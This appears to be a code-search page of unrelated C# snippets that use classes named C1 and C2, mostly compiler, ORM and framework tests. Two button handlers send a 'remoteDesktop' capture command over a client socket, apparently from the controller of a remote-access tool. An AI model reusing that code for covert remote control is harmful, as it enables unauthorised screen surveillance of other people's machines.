Inheritance: C1, IC
Example #1
0
    public static int Main()
    {
        C1 <int> c1 = new C1 <int>(100);
        object   o  = c1;

        return(C2.GetMemberList <int>(ref o));
    }
Example #2
0
 private void Button1_Click(object sender, EventArgs e)
 {
     if (button1.Text == "START")
     {
         MsgPack msgpack = new MsgPack();
         msgpack.ForcePathObject("Packet").AsString   = "remoteDesktop";
         msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
         msgpack.ForcePathObject("Screen").AsInteger  = Convert.ToInt32(numericUpDown2.Value);
         decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
         ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
         numericUpDown1.Enabled = false;
         numericUpDown2.Enabled = false;
         button1.Text           = "STOP";
     }
     else
     {
         button1.Text           = "START";
         numericUpDown1.Enabled = true;
         numericUpDown2.Enabled = true;
         try
         {
             C2.ClientSocket.Dispose();
             C2.Disconnected();
             C2 = null;
         }
         catch { }
     }
 }
Example #3
0
        public static void TestUseCase()
        {
            var a = new A();

            Assert.AreEqual(a, a, "Bridge692 A");

            var b1 = new B1();

            Assert.AreEqual(b1, b1, "Bridge692 B1");

            var b2 = new B1();

            Assert.AreEqual(b2, b2, "Bridge692 B2");

            var b3 = new B3();

            Assert.AreEqual(b3, b3, "Bridge692 B3");

            var c1 = new C1();

            Assert.AreNotStrictEqual(c1, c1, "Bridge692 C1");

            var c2 = new C2();

            Assert.AreNotStrictEqual(c2, c2, "Bridge692 C2");

            var c3 = new C3();

            Assert.AreNotStrictEqual(c3, c3, "Bridge692 C3");

            C3?c3_1 = new C3();

            Assert.AreNotStrictEqual(c3_1, c3_1, "Bridge692 C3_1");
        }
Example #4
0
        protected void Populate()
        {
            using (var session = this.Database.CreateSession())
            {
                var population = new TestPopulation(session);

                this.c1A = population.C1A;
                this.c1B = population.C1B;
                this.c1C = population.C1C;
                this.c1D = population.C1D;

                this.c2A = population.C2A;
                this.c2B = population.C2B;
                this.c2C = population.C2C;
                this.c2D = population.C2D;

                this.c3A = population.C3A;
                this.c3B = population.C3B;
                this.c3C = population.C3C;
                this.c3D = population.C3D;

                this.c4A = population.C4A;
                this.c4B = population.C4B;
                this.c4C = population.C4C;
                this.c4D = population.C4D;

                session.Commit();
            }
        }
        protected override void Check()
        {
            var c1 = new C1 {
                F = 99
            };
            var c2 = new C2 {
                F = 45
            };
            var c = new C {
                C1 = c1, C2 = c2
            };
            var m = InitializeModel(c);

            _hasConstructorRun = false;
            Create(m);

            ExecutableStateFormulas.ShouldBeEmpty();
            RootComponents.Length.ShouldBe(1);

            var root = RootComponents[0];

            root.ShouldBeOfType <C>();

            ((C)root).C1.ShouldBeOfType <C1>();
            ((C)root).C2.ShouldBeOfType <C2>();

            ((C)root).C1.F.ShouldBe(99);
            ((C)root).C2.F.ShouldBe(45);

            _hasConstructorRun.ShouldBe(false);
        }
 private void Button1_Click(object sender, EventArgs e)
 {
     if (button1.Tag == (object)"play")
     {
         MsgPack msgpack = new MsgPack();
         msgpack.ForcePathObject("Packet").AsString   = "remoteDesktop";
         msgpack.ForcePathObject("Option").AsString   = "capture";
         msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
         msgpack.ForcePathObject("Screen").AsInteger  = Convert.ToInt32(numericUpDown2.Value);
         decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
         ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
         numericUpDown1.Enabled  = false;
         numericUpDown2.Enabled  = false;
         button1.Tag             = (object)"stop";
         button1.BackgroundImage = Properties.Resources.stop__1_;
     }
     else
     {
         button1.Tag = (object)"play";
         try
         {
             C2.Disconnected();
             C2 = null;
         }
         catch { }
         numericUpDown1.Enabled  = true;
         numericUpDown2.Enabled  = true;
         button1.BackgroundImage = Properties.Resources.play_button;
     }
 }
Example #7
0
        public void FlushCacheOnInit()
        {
            var database = this.CreateDatabase();

            database.Init();

            using (ISession session = database.CreateSession())
            {
                var c1a = C1.Create(session);
                var c2a = C2.Create(session);
                c1a.C1C2one2one = c2a;
                session.Commit();

                // load cache
                c2a = c1a.C1C2one2one;
            }

            database.Init();

            using (ISession session = database.CreateSession())
            {
                var c1a = C1.Create(session);
                var c1b = C1.Create(session);

                session.Commit();

                c1a = C1.Instantiate(session, c1a.Id);

                Assert.Null(c1a.C1C2one2one);
            }
        }
Example #8
0
        // save file
        public void SaveFile(string filename)
        {
            try
            {
                if (
                    Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
                                     @"\ColourClock\") == false && filename == string.Empty)
                {
                    Directory.CreateDirectory(
                        Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\ColourClock\");
                }
                if (filename == string.Empty)
                {
                    filename = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
                               @"\ColourClock\settings.ini";
                }

                var saveSettings = new StreamWriter(filename);
                saveSettings.WriteLine(
                    "Colour Clock Configuration File.\r\nThis program comes with no warrantee and is entirely your own risk.\r\nAs there is little to NO error checking changing this file could be\r\na very stupid thing to do.");
                saveSettings.Write(X1 + "\r\n" + Y1 + "\r\n" + R1 + "\r\n" + C1.ToArgb() + "\r\n" + X2 + "\r\n" + Y2 +
                                   "\r\n" + R2 + "\r\n" + C2.ToArgb() + "\r\n" + X3 + "\r\n" + Y3 + "\r\n" + R3 + "\r\n" +
                                   C3.ToArgb() + "\r\n" + X4 + "\r\n" + Y4 + "\r\n" + R4 + "\r\n" + C4.ToArgb() + "\r\n" +
                                   Background.ToArgb() + "\r\n" + Shape + "\r\n" + Wx + "\r\n" + WY + "\r\n" +
                                   TaskbarTime + "\r\n" + FirstRun + "\r\n" + Location.X + "," + Location.Y);
                saveSettings.Close();
                MinimizeMemory();
            }
            catch (Exception ex)
            {
                MessageBox.Show(
                    "Settings could not be saved to file due to an error. Error is as follows:\n" + ex.Message,
                    "Colour Clock", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
            }
        }
Example #9
0
        public async Task OptionalOneToOneInCollectionAsync()
        {
            C2 c2;

            using (ISession s = OpenSession())
                using (ITransaction t = s.BeginTransaction())
                {
                    C1 c1 = new C1();
                    c2     = new C2();
                    c1.C2  = c2;
                    c2.C1  = c1;
                    c2.C1s = new List <C1>();
                    c2.C1s.Add(c1);
                    c1.C2 = c2;
                    await(s.SaveAsync(c2));
                    await(s.SaveAsync(c1));
                    await(t.CommitAsync());
                }

            using (ISession s = OpenSession())
                using (ITransaction t = s.BeginTransaction())
                {
                    c2 = (C2)await(s.GetAsync(typeof(C2), c2.Id));
                    Assert.IsTrue(c2.C1s.Count == 1);
                    await(s.DeleteAsync(c2.C1s[0]));
                    await(s.DeleteAsync(c2));
                    await(t.CommitAsync());
                }
        }
Example #10
0
    static public void Main()
    {
        test <string>("hello");
        C2 c = new C2();

        test <C2>(c);
    }
Example #11
0
    public static void Main()
    {
        C1 c1    = new C1();
        C2 prop1 = c1.Obj;

        c1.Obj = new C2();
    }
        public void SetIndexesTests()
        {
            dynamic mocks = new MockBuilder();

            C1 key1 = new C1(), val1 = new C1();
            C2 key2 = new C2(), val2 = new C2();
            C1 key3 = null, val3 = null;
            mocks[key1, 33] = val1;
            mocks[key2, 55] = val2;
            mocks[key3, 66] = val3;

            mocks["hello"] = new { };
            mocks["goodbye"] = 989898;

            var copiled = COMPILER.Compile(typeof(SetIndexes));
            var subject = (SetIndexes)
                COMPILER.Compile(typeof(SetIndexes)).GetConstructors()[0]
                    .Invoke(new object[] { new ObjectBase(new DxSettings { TestForInvalidMocks = false }, mocks) });

            Assert.AreEqual(subject.Get1(key1, 33), val1);
            Assert.AreEqual(subject.Get1(key2, 55), val2);
            Assert.AreEqual(subject.Get1(key3, 66), val3);

            Assert.AreEqual(subject["goodbye"], 989898);
        }
Example #13
0
    public static void TestNonGenInterface_GenType()
    {
        I ic2Int    = new C2 <int>();
        I ic2Object = new C2 <object>();
        I ic2String = new C2 <string>();

        // TEST2: test non generic virtual method
        if (ic2Int.method1() != 3 || ic2String.method1() != 3 || ic2Object.method1() != 3)
        {
            Console.WriteLine("Failed at TestNonGenInterface_GenType: non generic method");
            pass = false;
        }


        // TEST3: test generic virtual method
        if (ic2Int.method2 <int>() != 4 || ic2Int.method2 <object>() != 4 || ic2Int.method2 <string>() != 4 ||
            ic2Int.method2 <A <int> >() != 4 || ic2Int.method2 <S <string> >() != 4

            || ic2String.method2 <int>() != 4 || ic2String.method2 <object>() != 4 || ic2String.method2 <string>() != 4 ||
            ic2String.method2 <A <int> >() != 4 || ic2String.method2 <S <string> >() != 4

            || ic2Object.method2 <int>() != 4 || ic2Object.method2 <object>() != 4 || ic2Object.method2 <string>() != 4 ||
            ic2Object.method2 <A <int> >() != 4 || ic2Object.method2 <S <string> >() != 4
            )
        {
            Console.WriteLine("Failed at TestNonGenInterface_GenType: generic method");
            pass = false;
        }
    }
Example #14
0
        public void OptionalOneToOneInCollection()
        {
            C2 c2;

            using (ISession s = OpenSession())
                using (ITransaction t = s.BeginTransaction())
                {
                    C1 c1 = new C1();
                    c2     = new C2();
                    c1.C2  = c2;
                    c2.C1  = c1;
                    c2.C1s = new ArrayList();
                    c2.C1s.Add(c1);
                    c1.C2 = c2;
                    s.Save(c2);
                    s.Save(c1);
                    t.Commit();
                }

            using (ISession s = OpenSession())
                using (ITransaction t = s.BeginTransaction())
                {
                    c2 = (C2)s.Get(typeof(C2), c2.Id);
                    Assert.IsTrue(c2.C1s.Count == 1);
                    s.Delete(c2.C1s[0]);
                    s.Delete(c2);
                    t.Commit();
                }
        }
Example #15
0
        private Expression ParseExponent(Type Desired = null)
        {
            ConsumeWS();
            Expression C1, C2;
            char       ch;

            C1 = ParseUnary();
            do
            {
                ConsumeWS();
                ch = Read()[0];
                switch (ch)
                {
                case '^':
                    C2 = ParseUnary();
                    C1 = Expression.Power(
                        C1.ConvertTo(typeof(double)),
                        C2.ConvertTo(typeof(double)));
                    continue;
                }
                SeekRelative(-1);
                break;
            } while (!EOL);
            return(C1);
        }
        public void SortingCircular()
        {
            // Circular dependencies are not supported in Rhetos,
            // but this test verifies robustness of the algorithm implementation
            // and error detection.

            var cA = new C1 {
                Name = "A"
            };
            var cB = new C1 {
                Name = "B"
            };

            cA.Ref1 = cB;
            cB.Ref1 = cA;
            var cInit = new InitializationConcept {
                RhetosVersion = "init"
            };
            var cDependant = new C2 {
                Name = "dep", Ref1 = cA, Ref2 = cB
            };

            var testData = new List <IConceptInfo> {
                cDependant, cA, cB, cInit
            };
            var dslContainer = new DslContainerAccessor {
                ResolvedConcepts = testData
            };

            TestUtility.ShouldFail <FrameworkException>(
                () => dslContainer.SortReferencesBeforeUsingConcept(InitialConceptsSort.None),
                "C1 A");
        }
Example #17
0
    public void setRespFalse()
    {
        A1.SetActive(false);
        A2.SetActive(false);
        A3.SetActive(false);
        A4.SetActive(false);
        A5.SetActive(false);
        A6.SetActive(false);
        A7.SetActive(false);

        B1.SetActive(false);
        B2.SetActive(false);
        B3.SetActive(false);
        B4.SetActive(false);
        B5.SetActive(false);
        B6.SetActive(false);
        B7.SetActive(false);

        C1.SetActive(false);
        C2.SetActive(false);
        C3.SetActive(false);
        C4.SetActive(false);
        C5.SetActive(false);
        C6.SetActive(false);
        C7.SetActive(false);
    }
Example #18
0
        public void ToStringOverride()
        {
            object c1 = new C1(), c2 = new C2();

            Assert.AreEqual("test", c1.ToString(), "#1");
            Assert.AreEqual("test", c2.ToString(), "#1");
        }
Example #19
0
        public void Create()
        {
            foreach (var init in this.Inits)
            {
                init();

                var a = (C1)this.Session.Create(MetaC1.Instance.ObjectType);
                var c = this.Session.Create(MetaC3.Instance.ObjectType);
                this.Session.Commit();

                a = (C1)this.Session.Instantiate(a);
                var b = C2.Create(this.Session);
                this.Session.Instantiate(c);

                var changes = this.Session.Checkpoint();

                Assert.Single(changes.Created);
                Assert.Contains(b.Id, changes.Created.ToArray());

                this.Session.Rollback();

                changes = this.Session.Checkpoint();

                Assert.Empty(changes.Created);

                b = C2.Create(this.Session);

                this.Session.Commit();

                changes = this.Session.Checkpoint();

                Assert.Empty(changes.Created);
            }
        }
Example #20
0
    public static void Main()
    {
        S4 vr11 = new S4(new S2(2719843209539251931L, new C1(), 0L, new C3(), new C2(), -128, new S0(2153262915U, -32767, new C0(), true, 387574144U)));
        C2 vr12 = vr11.F0.F4;

        System.Console.WriteLine(vr12.F0);
    }
    public static void Test2b()
    {
        C2 <object> obj = new C2 <object>();

        Object o = obj.produce();

        obj.consume(new Object());
    }
    public static void Test2a()
    {
        C2 <int> obj = new C2 <int>();

        int i = obj.produce();

        obj.consume(5);
    }
Example #23
0
 public C3()
 {
     try {
         c1 = new C1();
         c2 = new C2();
     } catch (Exception e) {
     }
 }
 public static void Main() {
     C1 c1 = new C1();
     C2 c2 = new C2();
     c1.meth1(42);
     c2.meth1(49);
     c1 = c2;
     c1.meth1(53);
     Console.WriteLine("Finished!");
 }
Example #25
0
	public static int Main ()
	{
		IC ic = new C2 ();
		if (ic.Foo () != 2)
			return 1;

		if (ic.Foo2 () != 2)
			return 2;
		
		return 0;
	}
Example #26
0
		protected override void Check()
		{
			var c1 = new C1();
			var c2 = new C2();
			var m = new Model();
			m.AddRootComponents(c1);
			m.Seal();

			//{
			//	var actual = (CtlFormula)(!c1.M == false);
			//	var expected = new StateFormula(
			//		new BinaryExpression(BinaryOperator.Equals,
			//			new UnaryExpression(UnaryOperator.Not,
			//				new MethodInvocationExpression(m.Metadata.RootComponent.Subcomponents[0].ProvidedPorts[0])),
			//			new BooleanLiteralExpression(false)));

			//	// TODO: Support properties
			//	//Check(actual, expected);
			//}

			//{
			//	var actual = (CtlFormula)(c1.M2);
			//	var expected = new StateFormula(new MethodInvocationExpression(m.Metadata.RootComponent.Subcomponents[0].ProvidedPorts[1]));

			//	// TODO: Support properties
			//	//Check(actual, expected);
			//}

			//{
			//	var actual = (CtlFormula)(c2.M2);
			//	var expected = new StateFormula(new MethodInvocationExpression(m.Metadata.RootComponent.Subcomponents[0].ProvidedPorts[3]));

			//	// TODO: Support properties
			//	//Check(actual, expected);
			//}

			//{
			//	var ic = c2;
			//	var actual = (CtlFormula)(ic.M2);
			//	var expected = new StateFormula(new MethodInvocationExpression(m.Metadata.RootComponent.Subcomponents[0].ProvidedPorts[3]));

			//	// TODO: Support properties
			//	//Check(actual, expected);
			//}

			//{
			//	var actual = (CtlFormula)(c2.M);
			//	var expected = new StateFormula(new MethodInvocationExpression(m.Metadata.RootComponent.Subcomponents[0].ProvidedPorts[2]));

			//	// TODO: Support properties
			//	//Check(actual, expected);
			//}
		}
Example #27
0
        public static void TestUseCase2()
        {
            var c2 = new C2("C2 value");
            Assert.True(c2 != null, "Bridge588 C2");
            Assert.AreEqual(c2.Name, "C2 value", "Bridge588 C2.Name");

            var c1 = new C1(c2);
            Assert.True(c1 != null, "Bridge588 C1");
            Assert.AreEqual(c1.Value.Name, "C2 value", "Bridge588 C1.Value.Name");

            Assert.True(C1.Default != null, "Bridge588 C1.Default");
            Assert.True(C1.Default.Value != null, "Bridge588 C1.Default.Value");
            Assert.AreEqual(C1.Default.Value.Name, "default", "Bridge588 C1.Default.Value.Name");
            Assert.True(C2.Default != null, "Bridge588 C2.Default");
            Assert.True(C2.Default.Name != null, "Bridge588 C2.Default.Name");

        }
Example #28
0
        // Bridge[#588]
        public static void TestUseCase(Assert assert)
        {
            assert.Expect(9);

            var c2 = new C2("C2 value");
            assert.Ok(c2 != null, "Bridge588 C2");
            assert.Equal(c2.Name, "C2 value", "Bridge588 C2.Name");

            var c1 = new C1(c2);
            assert.Ok(c1 != null, "Bridge588 C1");
            assert.Equal(c1.Value.Name, "C2 value", "Bridge588 C1.Value.Name");

            assert.Ok(C1.Default != null, "Bridge588 C1.Default");
            assert.Ok(C1.Default.Value != null, "Bridge588 C1.Default.Value");
            assert.Equal(C1.Default.Value.Name, "default", "Bridge588 C1.Default.Value.Name");
            assert.Ok(C2.Default != null, "Bridge588 C2.Default");
            assert.Ok(C2.Default.Name != null, "Bridge588 C2.Default.Name");
        }
Example #29
0
   public static int Main()
   {
  
      	C2 obj2 = new C2();

      	if ( obj2.M3() == 5)
      	{
	      	// correct method was invoked
	      	Console.WriteLine("PASS");
		return 100;
      	}
	else
	{
	      	Console.WriteLine("FAIL");
		return 101;
	}
	
      
   }
Example #30
0
        public void UnresolvedReferences()
        {
            var dslContainer = new DslContainerAccessor();

            var missing = new C0 { Name = "X" };

            var a = new C0 { Name = "A" }; // should be resolved
            var b = new C1 { Name = "B", Ref1 = a }; // should be resolved
            var c = new C1 { Name = "C", Ref1 = b }; // should be resolved
            var d = new C2 { Name = "D", Ref1 = c, Ref2 = missing }; // unresolved
            var i = new C1 { Name = "I", Ref1 = d }; // resolved, but references unresolved
            var j = new C1 { Name = "J", Ref1 = i }; // resolved, but indirectly references unresolved

            var e = new C1 { Name = "E" }; // should be resolved, circular reference should not be a problem
            var f = new C1 { Name = "F" }; // should be resolved, circular reference should not be a problem
            e.Ref1 = f;
            f.Ref1 = e;

            var g = new C2 { Name = "G", Ref2 = missing }; // unresolved
            var h = new C1 { Name = "H" }; // resolved, but references unresolved
            g.Ref1 = h;
            h.Ref1 = g;

            var newConcepts = dslContainer.AddNewConceptsAndReplaceReferences(new IConceptInfo[] { a }).NewUniqueConcepts;
            Assert.AreEqual("A", TestUtility.DumpSorted(newConcepts, item => ((dynamic)item).Name));
            Assert.AreEqual("A", TestUtility.DumpSorted(dslContainer.Concepts, item => ((dynamic)item).Name));

            newConcepts = dslContainer.AddNewConceptsAndReplaceReferences(new IConceptInfo[] { i, d, c, b, e, f, g, h, i, j, a }).NewUniqueConcepts;
            Assert.AreEqual("B, C, D, E, F, G, H, I, J", TestUtility.DumpSorted(newConcepts, item => ((dynamic)item).Name));
            Assert.AreEqual("A, B, C, E, F", TestUtility.DumpSorted(dslContainer.Concepts, item => ((dynamic)item).Name));

            newConcepts = dslContainer.AddNewConceptsAndReplaceReferences(new IConceptInfo[] { i, d, c, b, e, f, g, h, i, j, a }).NewUniqueConcepts;
            Assert.AreEqual("", TestUtility.DumpSorted(newConcepts, item => ((dynamic)item).Name));
            Assert.AreEqual("A, B, C, E, F", TestUtility.DumpSorted(dslContainer.Concepts, item => ((dynamic)item).Name));

            var ex = TestUtility.ShouldFail<DslSyntaxException>(
                () => dslContainer.ReportErrorForUnresolvedConcepts(),
                "Referenced concept is not defined in DSL scripts",
                missing.GetUserDescription());

            Assert.IsTrue(new IConceptInfo[] { d, i, j, g, h }
                .Any(conceptInfo => ex.Message.Contains(conceptInfo.GetUserDescription())));
        }
Example #31
0
		protected override void Check()
		{
			var c1 = new C1();
			var c2 = new C2();
			var m = new Model();
			m.AddRootComponents(c1, c2);
			m.Seal();

			var actual = (LtlFormula)(c1.F && +c1.C2.F != -c2.F);
			var expected = new StateFormula(
				new BinaryExpression(BinaryOperator.And,
					new FieldExpression(m.Metadata.RootComponent.Subcomponents[0].Fields[0]),
					new BinaryExpression(BinaryOperator.NotEquals,
						new FieldExpression(m.Metadata.RootComponent.Subcomponents[0].Subcomponents[0].Fields[0]),
						new UnaryExpression(UnaryOperator.Minus, new FieldExpression(m.Metadata.RootComponent.Subcomponents[1].Fields[0])))
					));

			Check(actual, expected);
		}
Example #32
0
		protected override void Check()
		{
			var c1 = new C2();
			var c2 = new C2();
			var c3 = new C3("name");
			var c4 = new C2();

			var m = new Model();
			m.AddRootComponent(c1);
			m.AddRootComponents(c2, c3);
			m.AddRootComponents(c4);
			m.AddRootComponents(); // should have no effect
			m.Seal();

			m.Metadata.RootComponent.Subcomponents.ShouldBe(new[] { c1.Metadata, c2.Metadata, c3.Metadata, c4.Metadata });
			m.Metadata.Components.ShouldBe(new[] { m.Metadata.RootComponent, c1.Metadata, c2.Metadata, c3.Metadata, c4.Metadata });

			m.Metadata.RootComponent.Subcomponents[0].Name.ShouldBe("c1");
			m.Metadata.RootComponent.Subcomponents[1].Name.ShouldBe("c2");
			m.Metadata.RootComponent.Subcomponents[2].Name.ShouldBe("name");
			m.Metadata.RootComponent.Subcomponents[3].Name.ShouldBe("c4");
		}
		protected override void Check()
		{
			var c1 = new C1 { F = 99 };
			var c2 = new C2 { F = 45 };
			var c = new C { C1 = c1, C2 = c2 };
			var m = InitializeModel(c);

			_hasConstructorRun = false;
			Create(m);

			StateFormulas.ShouldBeEmpty();
			RootComponents.Length.ShouldBe(1);

			var root = RootComponents[0];
			root.ShouldBeOfType<C>();

			((C)root).C1.ShouldBeOfType<C1>();
			((C)root).C2.ShouldBeOfType<C2>();

			((C)root).C1.F.ShouldBe(99);
			((C)root).C2.F.ShouldBe(45);

			_hasConstructorRun.ShouldBe(false);
		}
Example #34
0
 public static void Main() {
         C2 c = new C2 ();
         c.set_Item(1, 2);
 }
Example #35
0
			public D()
			{
				C1 = new C1(F1);
				C2 = new C2();
				C3 = new C1(F1);
			}
Example #36
0
			public D()
			{
				C1 = new C1(F);
				C2 = new C2(F);
				C3 = new C1(F);
			}
 public C5(C1 c1, C2 c2 = null, C3 c3 = null, C4 c4 = null)
 {
 }
 public C6(C1 c1, C2 c2)
 {
 }
			public C1(C2 c2)
			{
				Assert.Fail("verification should not instantiate");
			}
Example #40
0
        public static void TestUseCase()
        {
            var a = new A();
            Assert.AreEqual(a, a, "Bridge692 A");

            var b1 = new B1();
            Assert.AreEqual(b1, b1, "Bridge692 B1");

            var b2 = new B1();
            Assert.AreEqual(b2, b2, "Bridge692 B2");

            var b3 = new B3();
            Assert.AreEqual(b3, b3, "Bridge692 B3");

            var c1 = new C1();
            Assert.AreNotStrictEqual(c1, c1, "Bridge692 C1");

            var c2 = new C2();
            Assert.AreNotStrictEqual(c2, c2, "Bridge692 C2");

            var c3 = new C3();
            Assert.AreNotStrictEqual(c3, c3, "Bridge692 C3");

            C3? c3_1 = new C3();
            Assert.AreNotStrictEqual(c3_1, c3_1, "Bridge692 C3_1");
        }
Example #41
0
 public C1(C2 value)
 {
     Value = value;
 }
 public static void Main()
 {
     Console.WriteLine("Starting");
     C2 c2 = new C2();
     c2.call_f();
     c2.call_g();
     c2.call_h1();
     c2.call_h2();
 }
Example #43
0
 public void ToStringOverride()
 {
     object c1 = new C1(), c2 = new C2();
     Assert.AreEqual(c1.ToString(), "test", "#1");
     Assert.AreEqual(c2.ToString(), "test", "#1");
 }
 public C5(C1 c1, C2 c2)
 {
 }
        public static int Main () {
		C1 foo = new C2 ();
                return foo.get_foo ();
        }
Example #46
0
		protected override void Check()
		{
			var c1 = new C1();
			var c2 = new C2();
			var m = new Model();
			m.AddRootComponents(c1, c2);
			m.Seal();

			{
				var actual = (LtlFormula)(0 == c1.M(17) - 2);
				var expected = new StateFormula(
					new BinaryExpression(BinaryOperator.Equals,
						new IntegerLiteralExpression(0),
						new BinaryExpression(BinaryOperator.Subtract,
							new MethodInvocationExpression(
								m.Metadata.RootComponent.Subcomponents[0].ProvidedPorts[1],
								new ArgumentExpression(new IntegerLiteralExpression(17), RefKind.None)),
							new IntegerLiteralExpression(2))
						));

				Check(actual, expected);
			}

			{
				var actual = c1.F;
				var expected = new StateFormula(
					new BinaryExpression(BinaryOperator.Equals,
						new MethodInvocationExpression(m.Metadata.RootComponent.Subcomponents[0].ProvidedPorts[2]),
						new MethodInvocationExpression(m.Metadata.RootComponent.Subcomponents[0].ProvidedPorts[3],
							new ArgumentExpression(new IntegerLiteralExpression(1), RefKind.None),
							new ArgumentExpression(new BooleanLiteralExpression(true), RefKind.None))));

				Check(actual, expected);
			}

			{
				var actual = (LtlFormula)(c2.M3());
				var expected = new StateFormula(new MethodInvocationExpression(m.Metadata.RootComponent.Subcomponents[1].ProvidedPorts[6]));

				Check(actual, expected);
			}

			{
				var ic = c2;
				var actual = (LtlFormula)(ic.M3());
				var expected = new StateFormula(new MethodInvocationExpression(m.Metadata.RootComponent.Subcomponents[1].ProvidedPorts[6]));

				Check(actual, expected);
			}

			{
				var ic = c2;
				var actual = ((LtlFormula)(ic.M3())).Formula.InlineMethodInvocations();
				var expected = new StateFormula(new BooleanLiteralExpression(false));

				Check(actual, expected);
			}

			{
				var actual = (LtlFormula)(c2.M(1) == 1);
				var expected = new StateFormula(
					new BinaryExpression(BinaryOperator.Equals,
						new MethodInvocationExpression(m.Metadata.RootComponent.Subcomponents[1].ProvidedPorts[5],
							new ArgumentExpression(new IntegerLiteralExpression(1), RefKind.None)),
						new IntegerLiteralExpression(1)));

				Check(actual, expected);
			}

			Tests.Raises<InvalidOperationException>(() => ((LtlFormula)(c2.M4(111) == 81)).Formula.InlineMethodInvocations());
		}
Example #47
0
 public C1()
 {
     P1 = C1P1;
     P2 = new C2();
 }
Example #48
0
		public void DockingPreferredSize ()
		{
			Form f = new Form ();
			f.ShowInTaskbar = false;
			f.ClientSize = new Size (300, 300);

			C1 c1 = new C1 ();
			c1.Size = new Size (100, 100);
			c1.Dock = DockStyle.Left;

			f.Controls.Add (c1);
			f.Show ();

			Assert.AreEqual (new Size (100, 300), c1.Size, "A1");

			f.Controls.Clear ();
			C2 c2 = new C2 ();
			c2.Size = new Size (100, 100);
			c2.Dock = DockStyle.Left;

			f.Controls.Add (c2);
			Assert.AreEqual (new Size (100, 300), c1.Size, "A2");

			f.Dispose ();
		}
	        public static bool testMethod() {	
		        MethodsTestClass61 test = new MethodsTestClass61();
		        C2 MyC2 = new C2();
		        if (test.TestMeth(MyC2) == 2) {
			        return true;
		        }
		        else {
			        return false;
		        }
	        }
 public C3(C1 c1, C2 c2)
 {
     this.C1 = c1;
     this.C2 = c2;
 }
 public C5(C1 c1, C2 c2, C3 c3 = null)
 {
     this.RightConstructorCalled = true;
 }